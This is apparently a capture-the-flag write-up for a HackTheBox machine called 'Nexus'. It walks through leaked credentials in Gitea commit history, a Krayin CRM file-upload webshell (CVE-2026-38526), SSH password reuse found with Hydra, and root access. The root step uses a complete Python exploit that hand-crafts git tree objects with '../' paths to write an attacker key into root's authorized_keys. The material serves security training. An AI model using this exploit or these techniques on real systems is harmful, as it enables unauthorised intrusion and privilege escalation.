Nexus Writeup - HackTheBox
Created June 25, 2026 • Last updated August 17, 2026 • 5 min read
Discovery
Port Scan
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-title: Nexus Energy Authority — Powering the Nation's Future
Two ports. HTTP is the entry point.
Web Enumeration and Subdomain Discovery
The main site is a static corporate page for "Nexus Energy Authority." Reviewing the HTML source, a job listing modal exposes two email addresses:
<a href="mailto:careers@nexus.htb">Apply at careers@nexus.htb</a>
<a href="mailto:j.matthew@nexus.htb">j.matthew@nexus.htb</a>
Note j.matthew and careers as candidate usernames. Next, fuzz for virtual hosts:
git [Status: 200, Size: 14472] billing [Status: 302, Size: 390]
Register both:
git.nexus.htb serves a Gitea instance. billing.nexus.htb redirects to a CRM login page.
Initial Access
Exposed Credentials in Gitea Commit History
git.nexus.htb runs Gitea 1.26.0 (visible via /api/swagger) with require_signin=False, meaning all public repos are browsable without an account.

Using the Explore button in the navigation reveals a repo under the admin account: admin/krayin-docker-setup. Browsing through the commit history, a .env file was committed and later removed. It is still accessible at: http://git.nexus.htb/admin/krayin-docker-setup/commit/9b817fa4e073d12fc43952acb09f3067b2f17adf?files=.env

The commit contains credentials for j.matthew@nexus.htb: $JMATTHEW_PASSWORD. This matches the hiring manager email found on the main site.
CVE-2026-38526: Krayin CRM Authenticated PHP File Upload RCE
billing.nexus.htb runs Krayin CRM, a Laravel application. The login page exposes the Laravel Debugbar, confirming the app is running in debug mode. Use the credentials recovered from the Gitea commit history to authenticate as j.matthew@nexus.htb.

CVE-2026-38526 is an authenticated arbitrary file upload in the TinyMCE media upload endpoint at /admin/tinymce/upload. The endpoint accepts a multipart upload with Content-Type: image/jpeg but performs no server-side validation on the actual file content, allowing a PHP webshell to be stored directly under the web root. The PoC from NathanHimself/CVE-2026-38526-PoC handles the full chain: authenticate, extract CSRF tokens, upload the webshell, then execute via the returned location URL with a ?cmd= parameter.
The exploit corrupts application state after a single execution, so the machine will need a reset if the shell is lost. Verify code execution first:
www-data
Set up the listener before the shell call:
Shell lands as www-data. Stabilize:
www-data@nexus:~/krayin/storage/app/public/tinymce$
Lateral Movement
Credential Harvest and SSH Reuse
From within the www-data shell, the Krayin application .env is readable:
DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=krayin DB_USERNAME=krayin DB_PASSWORD=$KRAYIN_DB_PASSWORD
/etc/passwd shows one non-system interactive user: jones. Compile all recovered credentials and discovered usernames into wordlists and run Hydra against SSH:
[22][ssh] host: nexus.htb login: jones password: $JONES_PASSWORD
The database password reuses directly as jones's SSH credential. SSH in and continue enumeration as a real user.
Privilege Escalation
Gitea Template Sync: Path Traversal via Crafted Git Tree Objects
LinPEAS flags an unusual custom systemd service:

[Unit] Description=Sync Gitea templates After=network-online.target [Service] Type=oneshot User=root ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py TimeoutStartSec=50s
It runs as root. The script itself is not writable:
not writable
Reading the script reveals the full logic:
Loads a Gitea API token from
/etc/gitea/template-sync.confQueries the Gitea API for all repos marked as templates
For each template repo, runs
git ls-tree -r HEADagainst the bare repo on diskFor every blob entry, runs
git cat-file blob <hash>and writes the content to/home/git/template-staging/<owner>/<repo>/<filepath>
The vulnerability is in step 4. The filepath value comes directly from the git tree object and is joined with the staging directory using os.path.join. No path traversal validation is performed. The standard git CLI refuses to commit files with .. in the path, but git objects are just loose zlib-compressed files on disk. You can construct a tree object by hand with an arbitrary filename and push it -- the server stores it verbatim. When the sync service runs as root, os.path.join(stage_path, "../../../../../root/.ssh/authorized_keys") resolves outside the staging directory and the key lands in root's authorized_keys.
Jones's DB password also works on git.nexus.htb:

The exploit script automates the full chain: generate an API token as jones, create a template repo, craft a malicious git tree object with the traversal path pointing to root/.ssh/authorized_keys containing your public key, push it, and wait for the service to fire.
import hashlib
import json
import os
import shutil
import subprocess
import sys
import tempfile
import time
import zlib
import requests
from requests.auth import HTTPBasicAuth
GITEA = "http://git.nexus.htb"
USER = "jones"
PASS = "$JONES_PASSWORD" # update
REPO_NAME = "template-pwn"
PUBKEY = "ssh-ed25519 <your_pubkey_here>" # update with your public key
TRAVERSAL = "../../../../../root/.ssh/authorized_keys"
def api(method, path, token=None, **kwargs):
headers = kwargs.pop("headers", {})
if token:
headers["Authorization"] = f"token {token}"
headers["Content-Type"] = "application/json"
r = requests.request(method, f"{GITEA}/api/v1{path}", headers=headers,
auth=HTTPBasicAuth(USER, PASS) if not token else None, **kwargs)
return r
def write_git_object(git_dir, obj_type, data):
header = f"{obj_type} {len(data)}\x00".encode()
full = header + data
sha = hashlib.sha1(full).hexdigest()
obj_path = os.path.join(git_dir, "objects", sha[:2], sha[2:])
os.makedirs(os.path.dirname(obj_path), exist_ok=True)
if not os.path.exists(obj_path):
with open(obj_path, "wb") as f:
f.write(zlib.compress(full))
return sha
def make_traversal_repo(workdir):
subprocess.run(["git", "init", workdir], check=True, capture_output=True)
subprocess.run(["git", "config", "user.email", "x@x.com"], cwd=workdir,
check=True, capture_output=True)
subprocess.run(["git", "config", "user.name", "x"], cwd=workdir,
check=True, capture_output=True)
git_dir = os.path.join(workdir, ".git")
blob_sha = write_git_object(git_dir, "blob", PUBKEY.encode())
print(f"[+] blob: {blob_sha}")
# git CLI would reject "../" in filenames — craft the tree object raw
entry = b"100600 " + TRAVERSAL.encode() + b"\x00" + bytes.fromhex(blob_sha)
tree_sha = write_git_object(git_dir, "tree", entry)
print(f"[+] tree: {tree_sha}")
ts = int(time.time())
commit_data = (
f"tree {tree_sha}\n"
f"author x <x@x.com> {ts} +0000\n"
f"committer x <x@x.com> {ts} +0000\n\npwn\n"
).encode()
commit_sha = write_git_object(git_dir, "commit", commit_data)
print(f"[+] commit: {commit_sha}")
refs_dir = os.path.join(git_dir, "refs", "heads")
os.makedirs(refs_dir, exist_ok=True)
with open(os.path.join(refs_dir, "main"), "w") as f:
f.write(commit_sha + "\n")
with open(os.path.join(git_dir, "HEAD"), "w") as f:
f.write("ref: refs/heads/main\n")
return commit_sha
def main():
print("[*] getting api token...")
r = api("POST", "/users/jones/tokens", json={
"name": f"privesc-{int(time.time())}",
"scopes": ["write:repository", "write:user", "read:user"],
})
if r.status_code not in (200, 201):
print(f"[-] token failed: {r.status_code} {r.text}")
sys.exit(1)
token = r.json()["sha1"]
print(f"[+] token: {token[:8]}...")
api("DELETE", f"/repos/{USER}/{REPO_NAME}", token=token)
time.sleep(0.5)
print("[*] creating template repo...")
r = api("POST", "/user/repos", token=token, json={
"name": REPO_NAME, "description": "",
"template": True, "private": False, "auto_init": False,
})
if r.status_code not in (200, 201):
print(f"[-] repo creation failed: {r.status_code} {r.text}")
sys.exit(1)
print(f"[+] created {USER}/{REPO_NAME}")
workdir = tempfile.mkdtemp(prefix="nexus-pwn-")
try:
print("[*] building malicious repo...")
make_traversal_repo(workdir)
remote = f"http://{USER}:{PASS}@git.nexus.htb/{USER}/{REPO_NAME}.git"
print("[*] pushing...")
result = subprocess.run(
["git", "push", remote, "main"],
cwd=workdir, capture_output=True, text=True
)
if result.returncode != 0:
print(f"[-] push failed:\n{result.stderr}")
sys.exit(1)
print("[+] pushed.")
finally:
shutil.rmtree(workdir, ignore_errors=True)
print(f"\n[*] waiting for gitea-template-sync to fire...")
print(f"ssh -i /path/to/private_key root@$DOMAIN")
if __name__ == "__main__":
main()
Run it:
[*] getting api token... [+] token: 2459b0db... [*] creating template repo... [+] created jones/template-pwn [*] building malicious repo... [+] blob: 8e7ee02cb46ddbae3301ef8238851983c2e7992e [+] tree: 6c6888e7adc09bda1d4c41aacd54476ea69e64ab [+] commit: 794e0fe85134682611a62931826621ed67c7161a [*] pushing... [+] pushed.
Once the sync service fires, the SSH key is written to /root/.ssh/authorized_keys by root: